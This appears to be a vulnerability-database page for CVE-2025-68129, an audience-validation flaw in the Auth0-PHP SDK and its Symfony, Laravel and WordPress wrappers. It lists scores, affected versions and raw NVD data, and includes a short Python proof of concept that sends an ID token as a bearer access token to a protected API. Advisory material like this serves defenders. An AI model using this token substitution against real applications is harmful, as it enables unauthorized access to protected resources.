Security Vulnerability Report
中文
CVE-2025-68129 CVSS 6.8 MEDIUM

CVE-2025-68129

Published: 2025-12-17 22:16:02
Last Modified: 2026-03-05 19:43:12

Description

Auth0-PHP is a PHP SDK for Auth0 Authentication and Management APIs. In applications built with the Auth0-PHP SDK, the audience validation in access tokens is performed improperly. Without proper validation, affected applications may accept ID tokens as Access tokens. Projects are affected if they use Auth0-PHP SDK versions between v8.0.0 and v8.17.0, or applications using the following SDKs that rely on the Auth0-PHP SDK versions between v8.0.0 and v8.17.0: Auth0/symfony versions between 5.0.0 and 5.5.0, Auth0/laravel-auth0 versions between 7.0.0 and 7.19.0, and/or Auth0/wordpress plugin versions between 5.0.0-BETA0 and 5.4.0. Auth0/Auth0-PHP version 8.18.0 contains a patch for the issue.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:auth0:auth0-php:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:auth0:laravel-auth0:*:*:*:*:*:laravel:*:* - VULNERABLE
cpe:2.3:a:auth0:symfony:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:auth0:wp-auth0:*:*:*:*:*:wordpress:*:* - VULNERABLE
Auth0-PHP SDK < 8.18.0
Auth0-PHP SDK v8.0.0 - v8.17.0
Auth0/symfony v5.0.0 - v5.5.0
Auth0/laravel-auth0 v7.0.0 - v7.19.0
Auth0/wordpress plugin v5.0.0-BETA0 - v5.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68129 Proof of Concept # Auth0-PHP SDK Access Token Validation Bypass import requests import json def exploit_cve_2025_68129(): """ This PoC demonstrates the improper audience validation in Auth0-PHP SDK. An attacker can use an ID Token as an Access Token to access protected resources. """ # Configuration AUTH0_DOMAIN = "your-tenant.auth0.com" CLIENT_ID = "your-client-id" API_AUDIENCE = "https://api.your-protected-resource.com" TARGET_API_URL = "https://your-app.com/api/protected-endpoint" # Step 1: Normal authentication to get ID Token auth_url = f"https://{AUTH0_DOMAIN}/authorize" auth_params = { "response_type": "id_token", "client_id": CLIENT_ID, "redirect_uri": "https://your-app.com/callback", "scope": "openid profile email", "nonce": "random-nonce-value" } # In a real attack, user completes authentication via browser # and attacker obtains the ID Token from the callback URL # Step 2: Extract ID Token (normally obtained from callback) id_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." # Obtained from auth flow # Step 3: Use ID Token as Access Token to access protected API # Due to improper validation, the vulnerable SDK accepts this headers = { "Authorization": f"Bearer {id_token}" } response = requests.get(TARGET_API_URL, headers=headers) if response.status_code == 200: print("[+] Successfully accessed protected resource using ID Token!") print(f"[+] Response: {response.json()}") else: print(f"[-] Access denied: {response.status_code}") if __name__ == "__main__": print("CVE-2025-68129 - Auth0-PHP SDK Access Token Validation Bypass") print("=" * 60) exploit_cve_2025_68129()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68129", "sourceIdentifier": "[email protected]", "published": "2025-12-17T22:16:01.713", "lastModified": "2026-03-05T19:43:11.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Auth0-PHP is a PHP SDK for Auth0 Authentication and Management APIs. In applications built with the Auth0-PHP SDK, the audience validation in access tokens is performed improperly. Without proper validation, affected applications may accept ID tokens as Access tokens. Projects are affected if they use Auth0-PHP SDK versions between v8.0.0 and v8.17.0, or applications using the following SDKs that rely on the Auth0-PHP SDK versions between v8.0.0 and v8.17.0: Auth0/symfony versions between 5.0.0 and 5.5.0, Auth0/laravel-auth0 versions between 7.0.0 and 7.19.0, and/or Auth0/wordpress plugin versions between 5.0.0-BETA0 and 5.4.0. Auth0/Auth0-PHP version 8.18.0 contains a patch for the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:auth0:auth0-php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.18.0", "matchCriteriaId": "12378349-3A0C-4E82-9568-C0B4B775F1F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:auth0:laravel-auth0:*:*:*:*:*:laravel:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.20.0", "matchCriteriaId": "01BEB1D0-CD7D-4223-ADC3-7DB8DB852867"}, {"vulnerable": true, "criteria": "cpe:2.3:a:auth0:symfony:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.6.0", "matchCriteriaId": "1093AE14-FD36-4E4D-983E-48D4CCE77D49"}, {"vulnerable": true, "criteria": "cpe:2.3:a:auth0:wp-auth0:*:*:*:*:*:wordpress:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.5.0", "matchCriteriaId": "1C6C5FAD-40FC-4715-B4C1-419EC9AC51FB"}]}]}], "references": [{"url": "https://github.com/auth0/auth0-PHP/commit/7fe700053aee609718460c123f00f53c511f0f7f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/auth0/auth0-PHP/releases/tag/8.18.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/auth0/auth0-PHP/security/advisories/GHSA-j2vm-wrq3-f7gf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/auth0/laravel-auth0/commit/a1c3344dc0e5a36e8f56c8cfc535728d3d7558f3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/auth0/laravel-auth0/releases/tag/7.20.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/auth0/laravel-auth0/security/advisories/GHSA-7hh9-gp72-wh7h", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/auth0/symfony/commit/0103d6f8dcef6996653fad1f823d1c167f472479", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/auth0/symfony/releases/tag/5.6.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/auth0/symfony/security/advisories/GHSA-f3r2-88mq-9v4g", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/auth0/wordpress/commit/b207c6f7fd06507b90c4e6bcc18a857ef9e018de", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/auth0/wordpress/releases/tag/5.5.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/auth0/wordpress/security/advisories/GHSA-vvg7-8rmq-92g7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}